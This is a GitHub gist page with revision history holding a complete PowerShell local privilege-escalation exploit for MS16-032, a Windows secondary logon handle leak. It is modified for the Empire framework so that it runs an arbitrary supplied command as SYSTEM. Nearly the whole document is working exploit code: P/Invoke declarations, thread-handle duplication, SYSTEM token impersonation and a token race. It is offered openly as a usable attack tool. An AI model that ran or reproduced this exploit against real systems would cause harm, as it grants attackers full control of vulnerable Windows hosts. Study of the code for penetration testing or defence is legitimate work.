Skip to content

Instantly share code, notes, and snippets.

@michael-bey
Last active March 1, 2021 19:39
Show Gist options
  • Select an option

  • Save michael-bey/af52401c7f2d6984dea6ba60b44aa1aa to your computer and use it in GitHub Desktop.

Select an option

Save michael-bey/af52401c7f2d6984dea6ba60b44aa1aa to your computer and use it in GitHub Desktop.

Revisions

  1. michael-bey revised this gist Jul 6, 2016. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion MS16-032.ps1
    Original file line number Diff line number Diff line change
    @@ -4,7 +4,8 @@ function Invoke-MS16-032 {
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
    Modifications by Mike Benich (@benichmt1).
    Targets:
  2. michael-bey revised this gist Jul 6, 2016. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions MS16-032.ps1
    Original file line number Diff line number Diff line change
    @@ -25,6 +25,7 @@ function Invoke-MS16-032 {
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None
    Empire Updates - Mike Benich / @benichmt1
    .EXAMPLE
    C:\PS> Invoke-MS16-032
  3. michael-bey created this gist Jul 5, 2016.
    386 changes: 386 additions & 0 deletions MS16-032.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,386 @@
    function Invoke-MS16-032 {
    <#
    .SYNOPSIS
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    Targets:
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    Notes:
    * In order for the race condition to succeed the machine must have 2+ CPU
    cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
    but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
    https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
    .DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    Blog: http://www.fuzzysecurity.com/
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None
    .EXAMPLE
    C:\PS> Invoke-MS16-032
    #>

    param (
    [Parameter(Mandatory = $True)]
    [string]$Cmd

    )


    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
    public IntPtr hProcess;
    public IntPtr hThread;
    public int dwProcessId;
    public int dwThreadId;
    }
    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO
    {
    public Int32 cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwYSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct SQOS
    {
    public int Length;
    public int ImpersonationLevel;
    public int ContextTrackingMode;
    public bool EffectiveOnly;
    }
    public static class Advapi32
    {
    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
    public static extern bool CreateProcessWithLogonW(
    String userName,
    String domain,
    String password,
    int logonFlags,
    String applicationName,
    String commandLine,
    int creationFlags,
    int environment,
    String currentDirectory,
    ref STARTUPINFO startupInfo,
    out PROCESS_INFORMATION processInformation);
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool SetThreadToken(
    ref IntPtr Thread,
    IntPtr Token);
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenThreadToken(
    IntPtr ThreadHandle,
    int DesiredAccess,
    bool OpenAsSelf,
    out IntPtr TokenHandle);
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(
    IntPtr ProcessHandle,
    int DesiredAccess,
    ref IntPtr TokenHandle);
    [DllImport("advapi32.dll", SetLastError=true)]
    public extern static bool DuplicateToken(
    IntPtr ExistingTokenHandle,
    int SECURITY_IMPERSONATION_LEVEL,
    ref IntPtr DuplicateTokenHandle);
    }
    public static class Kernel32
    {
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetCurrentThread();
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern int GetThreadId(IntPtr hThread);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int GetProcessIdOfThread(IntPtr handle);
    [DllImport("kernel32.dll",SetLastError=true)]
    public static extern int SuspendThread(IntPtr hThread);
    [DllImport("kernel32.dll",SetLastError=true)]
    public static extern int ResumeThread(IntPtr hThread);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool TerminateProcess(
    IntPtr hProcess,
    uint uExitCode);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool CloseHandle(IntPtr hObject);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DuplicateHandle(
    IntPtr hSourceProcessHandle,
    IntPtr hSourceHandle,
    IntPtr hTargetProcessHandle,
    ref IntPtr lpTargetHandle,
    int dwDesiredAccess,
    bool bInheritHandle,
    int dwOptions);
    }
    public static class Ntdll
    {
    [DllImport("ntdll.dll", SetLastError=true)]
    public static extern int NtImpersonateThread(
    IntPtr ThreadHandle,
    IntPtr ThreadToImpersonate,
    ref SQOS SecurityQualityOfService);
    }
    "@

    function Get-ThreadHandle {
    # StartupInfo Struct
    $StartupInfo = New-Object STARTUPINFO
    $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
    $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
    $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
    $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
    $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

    # ProcessInfo Struct
    $ProcessInfo = New-Object PROCESS_INFORMATION

    # CreateProcessWithLogonW --> lpCurrentDirectory
    $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

    # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
    $CallResult = [Advapi32]::CreateProcessWithLogonW(
    "user", "domain", "pass",
    0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Cmd",
    0x00000004, $null, $GetCurrentPath,
    [ref]$StartupInfo, [ref]$ProcessInfo)

    # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
    $lpTargetHandle = [IntPtr]::Zero
    $CallResult = [Kernel32]::DuplicateHandle(
    $ProcessInfo.hProcess, 0x4,
    [Kernel32]::GetCurrentProcess(),
    [ref]$lpTargetHandle, 0, $false,
    0x00000002)

    # Clean up suspended process
    $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
    $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
    $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)

    $lpTargetHandle
    }

    function Get-SystemToken {
    echo "`n[?] Trying thread handle: $Thread"
    echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"

    $CallResult = [Kernel32]::SuspendThread($Thread)
    if ($CallResult -ne 0) {
    echo "[!] $Thread is a bad thread, moving on.."
    Return
    } echo "[+] Thread suspended"

    echo "[>] Wiping current impersonation token"
    $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
    if (!$CallResult) {
    echo "[!] SetThreadToken failed, moving on.."
    $CallResult = [Kernel32]::ResumeThread($Thread)
    echo "[+] Thread resumed!"
    Return
    }

    echo "[>] Building SYSTEM impersonation token"
    # SecurityQualityOfService struct
    $SQOS = New-Object SQOS
    $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
    $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
    # Undocumented API's, I like your style Microsoft ;)
    $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
    if ($CallResult -ne 0) {
    echo "[!] NtImpersonateThread failed, moving on.."
    $CallResult = [Kernel32]::ResumeThread($Thread)
    echo "[+] Thread resumed!"
    Return
    }

    # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
    $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
    if (!$CallResult) {
    echo "[!] OpenThreadToken failed, moving on.."
    $CallResult = [Kernel32]::ResumeThread($Thread)
    echo "[+] Thread resumed!"
    Return
    }

    echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
    echo "[+] Resuming thread.."
    $CallResult = [Kernel32]::ResumeThread($Thread)
    }

    # main() <--- ;)
    $ms16032 = @"
    __ __ ___ ___ ___ ___ ___ ___
    | V | _|_ | | _|___| |_ |_ |
    | |_ |_| |_| . |___| | |_ | _|
    |_|_|_|___|_____|___| |___|___|___|
    [by b33f -> @FuzzySec]
    "@

    $ms16032

    # Check logical processor count, race condition requires 2+
    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    if ($([System.Environment]::ProcessorCount) -lt 2) {
    echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
    Return
    }

    # Create array for Threads & TID's
    $ThreadArray = @()
    $TidArray = @()

    echo "[>] Duplicating CreateProcessWithLogonW handles.."
    # Loop Get-ThreadHandle and collect thread handles with a valid TID
    for ($i=0; $i -lt 500; $i++) {
    $hThread = Get-ThreadHandle
    $hThreadID = [Kernel32]::GetThreadId($hThread)
    # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
    if ($TidArray -notcontains $hThreadID) {
    $TidArray += $hThreadID
    if ($hThread -ne 0) {
    $ThreadArray += $hThread # This is what we need!
    }
    }
    }

    if ($($ThreadArray.length) -eq 0) {
    echo "[!] No valid thread handles were captured, exiting!`n"
    Return
    } else {
    echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
    echo "`n[?] Thread handle list:"
    $ThreadArray
    }

    echo "`n[*] Sniffing out privileged impersonation token.."
    foreach ($Thread in $ThreadArray){

    # Null $SysTokenHandle
    $script:SysTokenHandle = [IntPtr]::Zero

    # Get handle to SYSTEM access token
    Get-SystemToken

    # If we fail a check in Get-SystemToken, skip loop
    if ($SysTokenHandle -eq 0) {
    continue
    }

    echo "`n[*] Sniffing out SYSTEM shell.."
    echo "`n[>] Duplicating SYSTEM token"
    $hDuplicateTokenHandle = [IntPtr]::Zero
    $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)

    # Simple PS runspace definition
    echo "[>] Starting token race"
    $Runspace = [runspacefactory]::CreateRunspace()
    $StartTokenRace = [powershell]::Create()
    $StartTokenRace.runspace = $Runspace
    $Runspace.Open()
    [void]$StartTokenRace.AddScript({
    Param ($Thread, $hDuplicateTokenHandle)
    while ($true) {
    $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
    }
    }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
    $AscObj = $StartTokenRace.BeginInvoke()

    echo "[>] Starting process race"
    # Adding a timeout (10 seconds) here to safeguard from edge-cases
    $SafeGuard = [diagnostics.stopwatch]::StartNew()
    while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
    # StartupInfo Struct
    $StartupInfo = New-Object STARTUPINFO
    $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

    # ProcessInfo Struct
    $ProcessInfo = New-Object PROCESS_INFORMATION

    # CreateProcessWithLogonW --> lpCurrentDirectory
    $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

    # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
    $CallResult = [Advapi32]::CreateProcessWithLogonW(
    "user", "domain", "pass",
    0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Cmd",
    0x00000004, $null, $GetCurrentPath,
    [ref]$StartupInfo, [ref]$ProcessInfo)

    $hTokenHandle = [IntPtr]::Zero
    $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
    # If we can't open the process token it's a SYSTEM shell!
    if (!$CallResult) {
    echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
    $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
    $StartTokenRace.Stop()
    $SafeGuard.Stop()
    Return
    }

    # Clean up suspended process
    $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
    $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
    $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
    }

    # Kill runspace & stopwatch if edge-case
    $StartTokenRace.Stop()
    $SafeGuard.Stop()
    }
    }